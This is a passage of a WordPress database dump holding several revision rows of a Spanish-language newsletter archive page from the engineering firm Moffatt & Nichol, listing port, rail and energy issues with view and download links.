los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energía—diseñando para tecnologías no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinámica iniciativa de los frentes costeros de hoy: los puertos se amplían y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopción de la automatización.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahora—calculando la protección para los frentes costeros y las vías navegables que enfrentan la elevación de mareas, el envejecimiento de la infraestructura y amenazas exteriores.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongación de la vida de servicio; la innovación del diseño infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseño, aún más innovador y rápido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Boletín de noticias','','inherit','open','open','','75-revision-11','','','2012-06-15 12:36:59','2012-06-15 12:36:59','',75,'http://moffattnichol.com/spanish/75-revision-11/',0,'revision','',0),(2551,1,'2012-06-18 09:54:32','2012-06-18 09:54:32','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-12','','','2012-06-18 09:54:32','2012-06-18 09:54:32','',75,'http://moffattnichol.com/spanish/75-revision-12/',0,'revision','',0),(2552,1,'2012-06-18 10:03:38','2012-06-18 10:03:38','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-13','','','2012-06-18 10:03:38','2012-06-18 10:03:38','',75,'http://moffattnichol.com/spanish/75-revision-13/',0,'revision','',0),(2553,1,'2012-06-18 10:06:29','2012-06-18 10:06:29','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-14','','','2012-06-18 10:06:29','2012-06-18 10:06:29','',75,'http://moffattnichol.com/spanish/75-revision-14/',0,'revision','',0),(2554,1,'2012-06-18 10:08:26','2012-06-18 10:08:26','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div></div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-15','','','2012-06-18 10:08:26','2012-06-18 10:08:26','',75,'http://moffattnichol.com/spanish/75-revision-15/',0,'revision','',0),(2555,1,'2012-06-18 10:17:53','2012-06-18 10:17:53','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img 